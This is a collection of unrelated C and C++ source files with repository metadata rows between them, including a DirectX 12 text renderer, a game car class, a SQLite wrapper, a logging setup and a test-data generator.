struct hash<gfx::ColorBrushOptions>
{
size_t operator()(const gfx::ColorBrushOptions& options) const noexcept
{
size_t seed = 65534;
std::hash_combine(seed, options.color.r);
std::hash_combine(seed, options.color.g);
std::hash_combine(seed, options.color.b);
std::hash_combine(seed, options.color.a);
return seed;
}
};
}
namespace gfx
{
class DX12Renderer;
class DX12TextRenderer
{
// Contains the texture information for the text
struct TextTexture
{
gfx::Texture* dx12Texture;
TextureId textureId;
Microsoft::WRL::ComPtr<ID3D11Resource> wrappedResource;
Microsoft::WRL::ComPtr<ID2D1Bitmap1> d2dRenderTarget;
};
Microsoft::WRL::ComPtr<IDWriteFactory5> m_dWriteFactory;
const wchar_t* wszText = L"Hello World!";
UINT32 cTextLength = (UINT32)wcslen(wszText);
Microsoft::WRL::ComPtr<ID2D1Factory3> m_d2dFactory;
//Microsoft::WRL::ComPtr<ID2D1SolidColorBrush> m_textBrush;
Microsoft::WRL::ComPtr<ID2D1SolidColorBrush> m_clearingBrush;
Microsoft::WRL::ComPtr<ID2D1SolidColorBrush> blackBrush;
//Microsoft::WRL::ComPtr<IDWriteTextFormat> m_textFormat;
Microsoft::WRL::ComPtr<ID2D1Device2> m_d2dDevice;
Microsoft::WRL::ComPtr<ID2D1DeviceContext2> m_d2dDeviceContext;
Microsoft::WRL::ComPtr<ID3D11Resource> m_wrappedColorBuffer;
Microsoft::WRL::ComPtr<ID2D1Bitmap1> m_d2dRenderTarget;
Microsoft::WRL::ComPtr<ID3D11DeviceContext> m_d3d11DeviceContext;
Microsoft::WRL::ComPtr<ID3D11On12Device> m_d3d11On12Device;
Microsoft::WRL::ComPtr<ID3D12PipelineState> m_pipelineState;
Microsoft::WRL::ComPtr<ID3D12RootSignature> m_rootSignature;
Microsoft::WRL::ComPtr<IDWriteFontSet> fontSet;
Microsoft::WRL::ComPtr<IDWriteFontCollection1> fontCollection;
Microsoft::WRL::ComPtr<ID3D12InfoQueue> m_infoQueue;
std::shared_ptr<CommandQueue> commandQueue_;
std::shared_ptr<CommandList> commandList_;
RootSignature uiOverlayRootSignature;
Microsoft::WRL::ComPtr<ID3D12PipelineState> uiOverlayPipelineState;
IndexBuffer quadIndexBuffer;
std::unordered_map<UITextOptionsForTexture, ref_counted<TextTexture>> textCache_;
std::unordered_multimap<gfx::TextureId, UITextOptionsForTexture> textureHandleToCache_;
std::unordered_map<TextFormatOptions, Microsoft::WRL::ComPtr<IDWriteTextFormat>> textFormatCache;
std::unordered_map<ColorBrushOptions, Microsoft::WRL::ComPtr<ID2D1SolidColorBrush>> colorBrushCache;
DX12Renderer* renderer_;
public:
DX12TextRenderer(DX12Renderer* renderer);
void Initialize();
void StartFrame();
void RenderUIText(IUIRenderer::CachedUIText& cachedUiText);
void EndFrame();
void Shutdown();
public:
TextTexture& CreateTextureFromText(const gfx::UIText& uiText);
TextTexture& CreateTextureFromText(const ui::UIText* uiText);
TextTexture& CreateTextureFromText(const UITextOptionsForTexture& uiText);
void RemoveTextTexture(gfx::TextureId textureId);
void AddUIText(ui::UIText* uiText);
void RemoveUIText(ui::UIText& uiText);
TextTexture* GetCachedTextTexture(const UITextOptionsForTexture& options);
private:
Microsoft::WRL::ComPtr<IDWriteTextFormat> GetTextFormat(const UITextOptionsForTexture& options);
Microsoft::WRL::ComPtr<ID2D1SolidColorBrush> GetColorBrush(const UITextOptionsForTexture& options);
Microsoft::WRL::ComPtr<IDWriteTextFormat> CreateTextFormat(const TextFormatOptions& textFormatOptions);
Microsoft::WRL::ComPtr<ID2D1SolidColorBrush> CreateColorBrush(const ColorBrushOptions& textFormatOptions);
void PushD2DWarningFilter();
void PopD2DWarningFiler();
};
}
#endif
| [
"jornveen@ziggo.nl"
] | jornveen@ziggo.nl |
bb1662d90e2b39184899e491956c3c89ebdc08f6 | fa04d2f56c8d4ebfb931968392811a127a4cb46c | /trunk/Cities3D/src/common/SelectLanguageDialog.h | 0e76758e68b7481e5e0306f2e0a13b22fd05bac5 | [] | no_license | andrewlangemann/Cities3D | 9ea8b04eb8ec43d05145e0b91d1c542fa3163ab3 | 58c6510f609a0c8ef801c77f5be9ea622e338f9a | refs/heads/master | 2022-10-04T10:44:51.565770 | 2020-06-03T23:44:07 | 2020-06-03T23:44:07 | 268,979,591 | 0 | 0 | null | 2020-06-03T03:25:54 | 2020-06-03T03:25:53 | null | UTF-8 | C++ | false | false | 2,687 | h | /*
* Cities3D - Copyright (C) 2001-2009 Jason Fugate (saladyears@gmail.com)
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the Free
* Software Foundation; either version 2 of the License, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
* or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* for more details.
*/
#pragma once
#include "style.h" //READ THIS BEFORE MAKING ANY CHANGES TO THIS FILE!!!
//---------------------------- SYSTEM INCLUDES -----------------------------//
//---------------------------- USER INCLUDES -----------------------------//
#include "BaseModalDialog.h"
//---------------------------- DEFINES -----------------------------//
//---------------------------- TYPEDEFS -----------------------------//
//---------------------------- CLASSES -----------------------------//
//---------------------------------------------------------------------------//
// Class: wxSelectLanguageDialog
//
// Dialog that lets the user select their default language.
//
// Derived From:
// <wxBaseModalDialog>
//
// Project:
// <Cities3D>
//
// Include:
// SelectLanguageDialog.h
//
class wxSelectLanguageDialog : public wxBaseModalDialog
{
//-----------------------------------------------------------------------//
// Section: Public
//
public:
//-----------------------------------------------------------------------//
// Group: Constructors
//
//-----------------------------------------------------------------------//
// Constructor: wxSelectLanguageDialog
//
// The wxSelectLanguageDialog constructor.
//
// Parameters:
// parent - The parent window. May be NULL.
//
wxSelectLanguageDialog(wxWindow *parent);
//-----------------------------------------------------------------------//
// Section: Private
//
private:
//-----------------------------------------------------------------------//
// Group: Virtual Functions
//
//-----------------------------------------------------------------------//
// Function: Ok
//
// Handles the OK event. Saves the user's selected language for later use.
//
virtual void Ok();
//-----------------------------------------------------------------------//
// Function: Cancel
//
// Disables the Cancel event. The user must make a selection.
//
virtual void Cancel() {}
};
//---------------------------- PROTOTYPES -----------------------------//
| [
"saladyears@gmail.com"
] | saladyears@gmail.com |
38b3ad2a455f7ab0c8fafa6b0ce261e5b20a80b7 | 8681c91756b2941035db515b621e32480d35ec11 | /xr_3da/xrGame/Car.h | 02b14e9095bf49cfe909c4dcd5d9b481344fb165 | [] | no_license | MaoZeDongXiJinping/xray-2212 | 1f3206c803c5fbc506114606424e2e834ffc51c0 | e143f01368c67b997f4be0dcdafb22f792bf485c | refs/heads/main | 2023-07-17T09:53:01.301852 | 2021-09-06T17:00:23 | 2021-09-06T17:00:23 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 14,575 | h | #pragma once
#include "entity.h"
#include "PHDynamicData.h"
#include "PhysicsShell.h"
#include "script_entity.h"
#include "CarLights.h"
#include "phobject.h"
#include "holder_custom.h"
#include "PHSkeleton.h"
#include "DamagableItem.h"
#include "PHDestroyable.h"
#include "phcollisiondamagereceiver.h"
#include "CarDamageParticles.h"
#include "xrserver_objects_alife.h"
#include "CarDamageParticles.h"
#include "hit_immunity.h"
#include "Explosive.h"
// refs
class ENGINE_API CBoneInstance;
class CActor;
class CInventory;
class CSE_PHSkeleton;
// defs
class CScriptEntityAction;
class CCar :
public CEntity,
public CScriptEntity,
public CPHUpdateObject,
public CHolderCustom,
public CPHSkeleton,
public CDamagableItem,
public CPHDestroyable,
public CPHCollisionDamageReceiver,
public CHitImmunity,
public CExplosive
{
static BONE_P_MAP bone_map; //interface for PhysicsShell
virtual void PhDataUpdate (dReal step) ;
virtual void PhTune (dReal step) ;
/////////////////////////////////////////////////////////////////////////
virtual void ApplyDamage (u16 level) ;
virtual float Health () {return fEntityHealth;}
virtual CPhysicsShellHolder* PPhysicsShellHolder () {return static_cast<CPhysicsShellHolder*>(this);}
virtual CPHCollisionDamageReceiver *PHCollisionDamageReceiver(){return static_cast<CPHCollisionDamageReceiver*>(this);}
////////////////////////////////////////////////////////////////////////
CCarDamageParticles m_damage_particles;
///////////////////////////////////////////////////////////////////////
protected:
enum ECarCamType{
ectFirst = 0,
ectChase,
ectFree
};
public:
bool rsp,lsp,fwp,bkp,brp;
Fmatrix m_root_transform;
Fvector m_exit_position;
enum eStateDrive
{
drive,
neutral
};
eStateDrive e_state_drive;
enum eStateSteer
{
right,
idle,
left
};
eStateSteer e_state_steer;
bool b_wheels_limited;
bool b_engine_on;
bool b_clutch;
bool b_starting;
bool b_stalling;
bool b_breaks;
u32 m_dwStartTime;
float m_fuel;
float m_fuel_tank;
float m_fuel_consumption;
u16 m_driver_anim_type;
float m_break_start;
float m_break_time;
float m_breaks_to_back_rate;
u32 m_death_time;
u32 m_time_to_explode;
struct SWheel:
public CDamagableHealthItem
{
typedef CDamagableHealthItem inherited;
u16 bone_id;
bool inited;
float radius;
CPhysicsJoint* joint;
CCar* car;
void Init();//asumptions: bone_map is 1. ini parsed 2. filled in 3. bone_id is set
void RestoreNetState(const CSE_ALifeCar::SWheelState& a_state);
void SaveNetState(NET_Packet& P);
void ApplyDriveAxisVel(float vel);
void ApplyDriveAxisTorque(float torque);
void ApplyDriveAxisVelTorque(float vel,float torque);
void ApplySteerAxisVel(float vel);
void ApplySteerAxisTorque(float torque);
void ApplySteerAxisVelTorque(float vel,float torque);
void SetSteerLoLimit (float lo);
void SetSteerHiLimit (float hi);
void SetSteerLimits (float hi,float lo);
virtual void ApplyDamage (u16 level);
SWheel(CCar* acar)
{
bone_id=BI_NONE;
car=acar;
joint=NULL;
inited=false;
}
};
struct SWheelDrive
{
SWheel* pwheel;
float pos_fvd;
float gear_factor;
void Init();
void Drive();
void Neutral();
void UpdatePower();
float ASpeed();
};
struct SWheelSteer
{
SWheel* pwheel;
float pos_right;
float lo_limit;
float hi_limit;
float steering_velocity;
float steering_torque;
bool limited; //zero limited for idle steering drive
float GetSteerAngle()
{
return -pos_right*dJointGetHinge2Angle1 (pwheel->joint->GetDJoint());
}
void Init();
void SteerRight();
void SteerLeft();
void SteerIdle();
void Limit();
};
struct SWheelBreak
{
SWheel* pwheel;
float break_torque;
float hand_break_torque;
void Init();
void Break(float k);
void HandBreak();
void Neutral();
};
struct SExhaust
{
u16 bone_id;
Fmatrix transform;
//Fvector velocity;
CParticlesObject* p_pgobject;
CPhysicsElement* pelement;
CCar* pcar;
void Init();
void Play();
void Stop();
void Update();
void Clear ();
SExhaust(CCar* acar)
{
bone_id=BI_NONE;
pcar=acar;
p_pgobject=NULL;
pelement=NULL;
}
~SExhaust();
};
struct SDoor;
struct SDoor :
public CDamagableHealthItem
{
typedef CDamagableHealthItem inherited;
u16 bone_id;
CCar* pcar;
bool update;
CPhysicsJoint* joint;
float torque;
float a_vel;
float pos_open;
float opened_angle;
float closed_angle;
u32 open_time;
struct SDoorway
{
Fvector2 door_plane_ext;
_vector2<int> door_plane_axes;
SDoor *door;
SDoorway ();
void SPass ();
void Init (SDoor *adoor);
void Trace (const Fvector &point,const Fvector &dir);
};
Fvector2 door_plane_ext;
_vector2<int> door_plane_axes;
Fvector door_dir_in_door;
Fmatrix closed_door_form_in_object;
void Use();
void Switch();
void Init();
void Open();
void Close();
void Break();
virtual void ApplyDamage(u16 level);
void Update();
float GetAngle();
bool CanEnter(const Fvector& pos,const Fvector& dir,const Fvector& foot_pos);
bool IsInArea(const Fvector& pos,const Fvector& dir);
bool IsFront (const Fvector& pos,const Fvector& dir);
bool CanExit(const Fvector& pos,const Fvector& dir);
bool TestPass(const Fvector& pos,const Fvector& dir);
//bool TestPass1(const Fvector& pos,const Fvector& dir);
void GetExitPosition(Fvector& pos);
void ApplyOpenTorque();
void ApplyTorque(float atorque,float aa_vel);
void ApplyCloseTorque();
void NeutralTorque(float atorque);
void ClosingToClosed();
void ClosedToOpening();
void PlaceInUpdate();
void RemoveFromUpdate();
void SaveNetState(NET_Packet& P);
void RestoreNetState(const CSE_ALifeCar::SDoorState& a_state);
void SetDefaultNetState();
enum eState
{
opening,
closing,
opened,
closed,
broken
};
eState state;
SDoor(CCar* acar)
{
bone_id=BI_NONE;
pcar=acar;
joint=NULL;
state=closed;
torque=500.f;
a_vel=M_PI;
}
};
struct SCarSound
{
ref_sound snd_engine;
ref_sound snd_transmission;
enum
{
sndOff,
sndStalling,
sndStoping,
sndStarting,
sndDrive
} eCarSound;
void Update();
void SwitchOff();
void SwitchOn();
void Init();
void Destroy();
void Start();
void Stop();
void Stall();
void Drive();
void TransmissionSwitch();
SCarSound(CCar* car);
~SCarSound();
u32 time_state_start;
Fvector relative_pos;
float volume;
CCar* pcar;
} *m_car_sound;
private:
typedef CEntity inherited;
private:
float m_steer_angle;
bool m_repairing;
u16 m_bone_steer;
CCameraBase* camera[3];
CCameraBase* active_camera;
Fvector m_camera_position;
////////////////////////////////////////////////////
friend struct SWheel;
friend struct SDoor;
xr_map <u16,SWheel> m_wheels_map;
xr_vector <SWheelDrive> m_driving_wheels;
xr_vector <SWheelSteer> m_steering_wheels;
xr_vector <SWheelBreak> m_breaking_wheels;
xr_vector <SExhaust> m_exhausts;
shared_str m_exhaust_particles;
xr_map <u16,SDoor> m_doors;
xr_vector <SDoor*> m_doors_update;
xr_vector <Fvector> m_gear_ratious;
xr_vector <Fmatrix> m_sits_transforms;// m_sits_transforms[0] - driver_place
float m_current_gear_ratio;
/////////////////////////////////////////////////////////////
bool b_auto_switch_transmission;
/////////////////////////////////////////////////////////////
float m_doors_torque_factor;
/////////////////////////////////////////////////////////////
float m_max_power;//best rpm
float m_power_increment_factor;
float m_rpm_increment_factor;
/////////////////////porabola
float m_a,m_b,m_c;
float m_current_engine_power;
float m_current_rpm;
float m_axle_friction;
float m_fSaveMaxRPM;
float m_max_rpm;
float m_min_rpm;
float m_power_rpm;//max power
float m_torque_rpm;//max torque
float m_steering_speed;
float m_ref_radius;
float m_break_torque;
float m_hand_break_torque;
size_t m_current_transmission_num;
///////////////////////////////////////////////////
CCarLights m_lights;
////////////////////////////////////////////////////
/////////////////////////////////////////////////
void InitParabola();
float Parabola(float rpm);
//float GetSteerAngle();
void LimitWheels();
void Drive();
void Starter();
void StartEngine();
void StopEngine();
void Stall();
void Clutch();
void Unclutch();
void SwitchEngine();
void NeutralDrive();
void UpdatePower();
void ReleasePedals();
void ResetKeys();
////////////////////////////////////////////////////////////////////////
float RefWheelMaxSpeed()
{
return m_max_rpm/m_current_gear_ratio;
}
float EngineCurTorque()
{
return m_current_engine_power/m_current_rpm;
}
float RefWheelCurTorque()
{
return EngineCurTorque()*((m_current_gear_ratio<0.f) ? -m_current_gear_ratio : m_current_gear_ratio);
}
float EnginePower();
float EngineDriveSpeed();
float DriveWheelsMeanAngleRate();
/////////////////////////////////////////////////////////////////////////
void SteerRight();
void SteerLeft();
void SteerIdle();
void Transmission(size_t num);
void CircleSwitchTransmission();
void TransmissionUp();
void TransmissionDown();
IC size_t CurrentTransmission(){return m_current_transmission_num;}
void PressRight();
void PressLeft();
void PressForward();
void PressBack();
void PressBreaks();
void ReleaseRight();
void ReleaseLeft();
void ReleaseForward();
void ReleaseBack();
void ReleaseBreaks();
void Revert ();
void StartBreaking ();
void StopBreaking ();
void UpdateBack ();
void HandBreak ();
void ReleaseHandBreak ();
void DriveForward ();
void DriveBack ();
void ParseDefinitions ();
void CreateSkeleton ();//creates m_pPhysicsShell
void Init ();
void PlayExhausts ();
void StopExhausts ();
void UpdateExhausts ();
void ClearExhausts ();
void UpdateFuel (float time_delta);
float AddFuel (float ammount); //ammount - fuel to load, ret - fuel loaded
void CarExplode ();
////////////////////////////////////////////////////
void OnCameraChange (int type);
bool HUDview ( ) { return IsFocused(); }
static void __stdcall cb_Steer (CBoneInstance* B);
virtual void Hit (float P,Fvector &dir,CObject *who,s16 element,Fvector p_in_object_space, float impulse, ALife::EHitType hit_type = ALife::eHitTypeWound);
virtual void PHHit (float P,Fvector &dir, CObject *who,s16 element,Fvector p_in_object_space, float impulse, ALife::EHitType hit_type/* =ALife::eHitTypeWound */);
bool WheelHit (float P,s16 element,ALife::EHitType hit_type);
bool DoorHit (float P,s16 element,ALife::EHitType hit_type);
public:
virtual Fvector ExitPosition (){return m_exit_position;}
void GetVelocity (Fvector& vel) {m_pPhysicsShell->get_LinearVel(vel);}
void cam_Update (float dt);
void detach_Actor ();
bool attach_Actor (CActor* actor);
bool is_Door (u16 id,xr_map<u16,SDoor>::iterator& i);
bool is_Door (u16 id);
bool DoorOpen (u16 id);
bool DoorClose (u16 id);
bool DoorUse (u16 id);
bool DoorSwitch (u16 id);
bool Enter (const Fvector& pos,const Fvector& dir,const Fvector& foot_pos);
bool Exit (const Fvector& pos,const Fvector& dir);
bool Use (const Fvector& pos,const Fvector& dir,const Fvector& foot_pos);
u16 DriverAnimationType ();
// Core events
virtual DLL_Pure *_construct ();
virtual void Load ( LPCSTR section );
virtual BOOL net_Spawn ( CSE_Abstract* DC );
virtual void net_Destroy ();
virtual void UpdateCL ( );
virtual void shedule_Update (u32 dt);
virtual void renderable_Render ( );
virtual bool bfAssignMovement (CScriptEntityAction *tpEntityAction);
virtual bool bfAssignObject (CScriptEntityAction *tpEntityAction);
// Network
virtual void net_Export (NET_Packet& P); // export to server
virtual void net_Import (NET_Packet& P); // import from server
virtual BOOL net_Relevant () { return getLocal(); }; // relevant for export to server
virtual BOOL UsedAI_Locations ();
// Input
virtual void OnMouseMove (int x, int y);
virtual void OnKeyboardPress (int dik);
virtual void OnKeyboardRelease (int dik);
virtual void OnKeyboardHold (int dik);
virtual void vfProcessInputKey (int iCommand, bool bPressed);
virtual void OnEvent ( NET_Packet& P, u16 type);
virtual void OnAfterExplosion ();
virtual void OnBeforeExplosion ();
virtual void ResetScriptData (void *P=0);
// Hits
virtual void HitSignal (float /**HitAmount/**/, Fvector& /**local_dir/**/, CObject* /**who/**/, s16 /**element/**/) {};
virtual void HitImpulse (float /**amount/**/, Fvector& /**vWorldDir/**/, Fvector& /**vLocalDir/**/) {};
virtual void g_fireParams (const CHudItem* /**pHudItem/**/, Fvector& /**P/**/, Fvector& /**D/**/) {};
// HUD
virtual void OnHUDDraw (CCustomHUD* hud);
CCameraBase* Camera (){return active_camera;}
// Inventory for the car
CInventory* GetInventory (){return inventory;}
void VisualUpdate ();
protected:
virtual void SpawnInitPhysics (CSE_Abstract *D) ;
virtual void net_Save (NET_Packet& P) ;
virtual BOOL net_SaveRelevant () ;
void SaveNetState (NET_Packet& P) ;
virtual void RestoreNetState (CSE_PHSkeleton* po) ;
void SetDefaultNetState (CSE_PHSkeleton* po) ;
public:
CCar(void);
virtual ~CCar(void);
public:
virtual CEntity* cast_entity () {return this;}
private:
template <class T> IC void fill_wheel_vector(LPCSTR S,xr_vector<T>& type_wheels);
IC void fill_exhaust_vector(LPCSTR S,xr_vector<SExhaust>& exhausts);
IC void fill_doors_map(LPCSTR S,xr_map<u16,SDoor>& doors);
//Inventory for the car
CInventory *inventory;
virtual void reinit ();
virtual void reload (LPCSTR section);
virtual CGameObject *cast_game_object () {return this;}
virtual CPhysicsShellHolder *cast_physics_shell_holder () {return this;}
virtual CParticlesPlayer *cast_particles_player () {return this;}
virtual CScriptEntity *cast_script_entity () {return this;}
};
| [
"47507219+ugozapad@users.noreply.github.com"
] | 47507219+ugozapad@users.noreply.github.com |
3c5f8bec52d2377c7a7d028d5d963e1e9dc6d59b | 82c64906356c05817cedff0af0ee98cb97280d01 | /problems/pG/generator.cpp | 650d3816323aaaa54290c77a1371a561cf8bdd57 | [] | no_license | wangyenjen/icpc-xuzhou-2019 | 31fa1f64e803634047099bf1c9bffd7a43deda2a | 328b3a05dec588620d6a7258802f720505d543d5 | refs/heads/master | 2022-07-20T07:24:56.653872 | 2019-10-28T12:13:09 | 2019-10-28T12:13:09 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,004 | cpp | #include <cstdio>
#include <string>
#include <random>
#include <algorithm>
#include <randdist.h>
using namespace CompLib;
std::mt19937_64 gen;
typedef UniformIntDistribution<int> mrand;
const int kN = 20000, kD = 50, kL = 50;
int x[kN][kD];
int perm[kD];
int main(int argc, char** argv) {
if (argc < 4) return 1;
int N = std::stoi(argv[1]), D = std::stoi(argv[2]), mode = std::stoi(argv[3]);
gen.seed(HashArgs(argc, argv));
if (mode < 2) {
for (int i = 0; i < N; i++) {
for (int j = 0; j < D; j++) x[i][j] = mrand(1, kL)(gen);
if (mode == 1) std::sort(x[i], x[i] + D);
}
} else if (mode == 2) {
for (int i = 0; i < N; i++) {
for (int j = 0; j < D; j++) x[i][j] = mrand(kL - 5, kL)(gen);
x[i][mrand(0, D - 1)(gen)] = 1;
}
}
for (int i = 0; i < D; i++) perm[i] = i;
Shuffle(perm, perm + D, gen);
printf("%d %d\n", N, D);
for (int i = 0; i < N; i++) {
for (int j = 0; j < D; j++) printf("%d%c", x[i][perm[j]], " \n"[j == D - 1]);
}
}
| [
"adrien1018@users.noreply.github.com"
] | adrien1018@users.noreply.github.com |
ef6dd574f869b805427be309552cc46783eb407b | 47de427f69fbdd8ecb1efc38c5c7435d46e1f6a6 | /references/fcpp-code-examples/chapter-12/bookmark-service/values.h | 2a29096b60ea79b7355f9dcb3535de4fbd0d3875 | [] | no_license | powergun/cxxFP | 9a095b66974723021db3ec57e6c761295d997b01 | d9838abed3ebb61d239ebca3ef44d8d3b4493247 | refs/heads/master | 2021-03-16T18:21:03.811053 | 2021-01-31T22:34:59 | 2021-01-31T22:34:59 | 246,930,348 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 591 | h | #ifndef VALUES_H
#define VALUES_H
#include <functional>
namespace reactive {
template <typename T>
class values {
public:
using value_type = T;
explicit values(std::initializer_list<T> values)
: m_values(values)
{
}
template <typename EmitFunction>
void on_message(EmitFunction emit)
{
m_emit = emit;
std::for_each(m_values.cbegin(), m_values.cend(), [&] (T value) {
m_emit(std::move(value));
});
}
private:
std::vector<T> m_values;
std::function<void(T&&)> m_emit;
};
}
#endif // VALUES_H
| [
"wei.ning@digitalasset.com"
] | wei.ning@digitalasset.com |
5655e0139d87d6493467b7d07b15b9750a94dce3 | db2d4d2c38a4a235fdc49a3689c9980250749aa7 | /db_lite.h | f1f4013c478037e66fa3bde4aae2748eb1e815e8 | [] | no_license | xRTRx/PasswordManagerConsoleEdition | 96a7d7b22ea5370125c49565a7abdc168c55d7d7 | 3c66a5258c5720f137dc9c348aca8a1bd59f2780 | refs/heads/master | 2023-01-19T23:16:48.254835 | 2020-11-14T16:24:57 | 2020-11-21T17:43:14 | 312,855,764 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 474 | h | #pragma once
#include <iostream>
#include <sstream>
#include <sqlite3.h>
int callback(void *data, int argc, char **argv, char **azColName);
class sql {
public:
sql();
void execute_sql(const std::string& s);
std::stringstream get_executed_sql(const std::string& s);
std::stringstream get_executed_sql2(const std::string& s);
~sql();
private:
sqlite3 *db;
sqlite3_stmt *stmt{};
int sq = sqlite3_open("/home/ArturMX/Projects/SQLite_Project/LDB.db", &db);
};
| [
"ai.shakirov1@gmail.com"
] | ai.shakirov1@gmail.com |
7072463655712ee1cdf70c6ec9c687f12c6e5976 | ea401c3e792a50364fe11f7cea0f35f99e8f4bde | /released_plugins/v3d_plugins/terastitcher/include/boost/fusion/container/map/map_fwd.hpp | f8dd769a8f60f055c05297c98b2050830190bca9 | [
"MIT",
"BSL-1.0"
] | permissive | Vaa3D/vaa3d_tools | edb696aa3b9b59acaf83d6d27c6ae0a14bf75fe9 | e6974d5223ae70474efaa85e1253f5df1814fae8 | refs/heads/master | 2023-08-03T06:12:01.013752 | 2023-08-02T07:26:01 | 2023-08-02T07:26:01 | 50,527,925 | 107 | 86 | MIT | 2023-05-22T23:43:48 | 2016-01-27T18:19:17 | C++ | UTF-8 | C++ | false | false | 1,403 | hpp | /*=============================================================================
Copyright (c) 2001-2011 Joel de Guzman
Distributed under the Boost Software License, Version 1.0. (See accompanying
file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
==============================================================================*/
#if !defined(FUSION_MAP_FORWARD_MAIN_07212005_1105)
#define FUSION_MAP_FORWARD_MAIN_07212005_1105
#include <boost/config.hpp>
///////////////////////////////////////////////////////////////////////////////
// With no decltype and variadics, we will use the C++03 version
///////////////////////////////////////////////////////////////////////////////
#if (defined(BOOST_NO_CXX11_DECLTYPE) \
|| defined(BOOST_NO_CXX11_VARIADIC_TEMPLATES) \
|| defined(BOOST_NO_CXX11_RVALUE_REFERENCES))
# include <boost/fusion/container/map/detail/cpp03/map_fwd.hpp>
#else
# if !defined(BOOST_FUSION_HAS_VARIADIC_MAP)
# define BOOST_FUSION_HAS_VARIADIC_MAP
#endif
#include <boost/fusion/container/map/detail/map_impl.hpp>
///////////////////////////////////////////////////////////////////////////////
// C++11 interface
///////////////////////////////////////////////////////////////////////////////
namespace boost { namespace fusion
{
template <typename ...T>
struct map;
}}
#endif
#endif
| [
"alexandro86@gmail.com"
] | alexandro86@gmail.com |
ba3647a2434f70fe329c0a34254a2507c23fefa3 | 0eff74b05b60098333ad66cf801bdd93becc9ea4 | /second/download/CMake/CMake-gumtree/Kitware_CMake_repos_basic_block_block_3092.cpp | 747e61de58d380dba2234d6529786f69f78d61f2 | [] | no_license | niuxu18/logTracker-old | 97543445ea7e414ed40bdc681239365d33418975 | f2b060f13a0295387fe02187543db124916eb446 | refs/heads/master | 2021-09-13T21:39:37.686481 | 2017-12-11T03:36:34 | 2017-12-11T03:36:34 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 55 | cpp | (i = 0; i < nBuf; i++)
outbuf[i] = buf[nBuf-i-1] | [
"993273596@qq.com"
] | 993273596@qq.com |
a0a3249ddd8add6d8b4a4d77b3f2c2ae58694274 | 015aaeffbc1162c4c717bf1c1d1d100aab818208 | /src/Terrific/Utility/Log.cpp | 6f9f3e548d14f607da829f30c272c5769e93809e | [] | no_license | joaqim/Terrific | 101501e448a3489aecd99fa0a48cb123ddc82e87 | e3718f55e7d3da31a869db2826052c1986d1cc9f | refs/heads/master | 2020-03-18T21:21:40.067501 | 2018-11-17T18:43:07 | 2018-11-17T18:43:07 | 39,351,836 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,687 | cpp | #include "Log.h"
#include <iostream>
namespace Terrific {
namespace Utility {
std::shared_ptr<spdlog::logger> Log::_coreLogger;
std::shared_ptr<spdlog::logger> Log::_clientLogger;
int Log::init() {
// spdlog::set_pattern("%^[%L] %^[%T] %n: %v%$");
//spdlog::set_pattern("%^%L: %^[%T] %n: %v%$");
// gnu
spdlog::set_pattern("%^%v%$");
// watcom
//..\src\ctrl\lister.c(109): Error! E1009: Expecting ';' but found '{'
//..\src\ctrl\lister.c(120): Warning! W201: Unreachable code
//spdlog::set_pattern("%^%v:[%l] %$");
try {
_coreLogger = spdlog::stdout_color_mt("TERRIFIC");
} catch (const spdlog::spdlog_ex &ex) {
std::cout << "Terrific::Utility::Log::init() TERRIFIC logger failed to initialize: " << ex.what() << "\n";
return EXIT_FAILURE;
}
try {
//TODO: If verbose:
_clientLogger = spdlog::stdout_color_mt("APP");
// _clientLogger = spdlog::basic_logger_mt("APP", "logs/app.log");
} catch (const spdlog::spdlog_ex &ex) {
std::cout << "Terrific::Utility::Log::init() APP logger failed to initialize: " << ex.what() << "\n";
}
_clientLogger->set_pattern("%^%L: %^[%T] %n:\t%v%$");
_coreLogger->set_level(spdlog::level::trace);
_clientLogger->set_level(spdlog::level::trace);
TERRIFIC_CORE_INFO("Logger initialized");
TERRIFIC_INFO("Logger initialized");
#if 0
TERRIFIC_CORE_WARNING("Logger Warning");
TERRIFIC_CORE_TRACE("Trace");
TERRIFIC_CORE_ERROR("Logger Error");
TERRIFIC_CORE_CRITICAL("Logger Critical");
#endif
return EXIT_SUCCESS;
}
}
}
| [
"joaqimp@gmail.com"
] | joaqimp@gmail.com |
e98f3e236fc86f25e2248b495aaa8d966bae23d3 | 5af5a29ae1a20bca81285ab036dfbb2af9b66ba1 | /System/Library/PrivateFrameworks/CVNLP.framework/CVNLP-Structs.h | 56e786e2009450b9e59c638d08ca92b58ce9ba94 | [
"MIT"
] | permissive | corbie11/iOS14Headers | 9f2fe98b91577dc33c5e2e9e055d8fa9e9a284cb | c0b7e9f0049c6b2571358584eed67c841140624f | refs/heads/master | 2023-01-10T21:11:48.861588 | 2020-11-03T19:54:40 | 2020-11-03T19:54:40 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,970 | h | /*
* This header is generated by classdump-dyld 1.0
* on Sunday, September 27, 2020 at 11:43:52 AM Mountain Standard Time
* Operating System: Version 14.0 (Build 18A373)
* Image Source: /System/Library/PrivateFrameworks/CVNLP.framework/CVNLP
* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos.
*/
typedef struct NSRange {
unsigned long long location;
unsigned long long length;
} NSRange;
typedef struct {
void plan;
int network_index;
} SCD_Struct_CV1;
typedef struct {
void data;
void reserved;
unsigned long long dim[4];
unsigned long long stride[4];
unsigned long long width;
unsigned long long height;
unsigned long long channels;
unsigned long long batch_number;
unsigned long long sequence_length;
unsigned long long stride_width;
unsigned long long stride_height;
unsigned long long stride_channels;
unsigned long long stride_batch_number;
unsigned long long stride_sequence_length;
int storage_type;
} SCD_Struct_CV2;
typedef struct __CVBuffer* CVBufferRef;
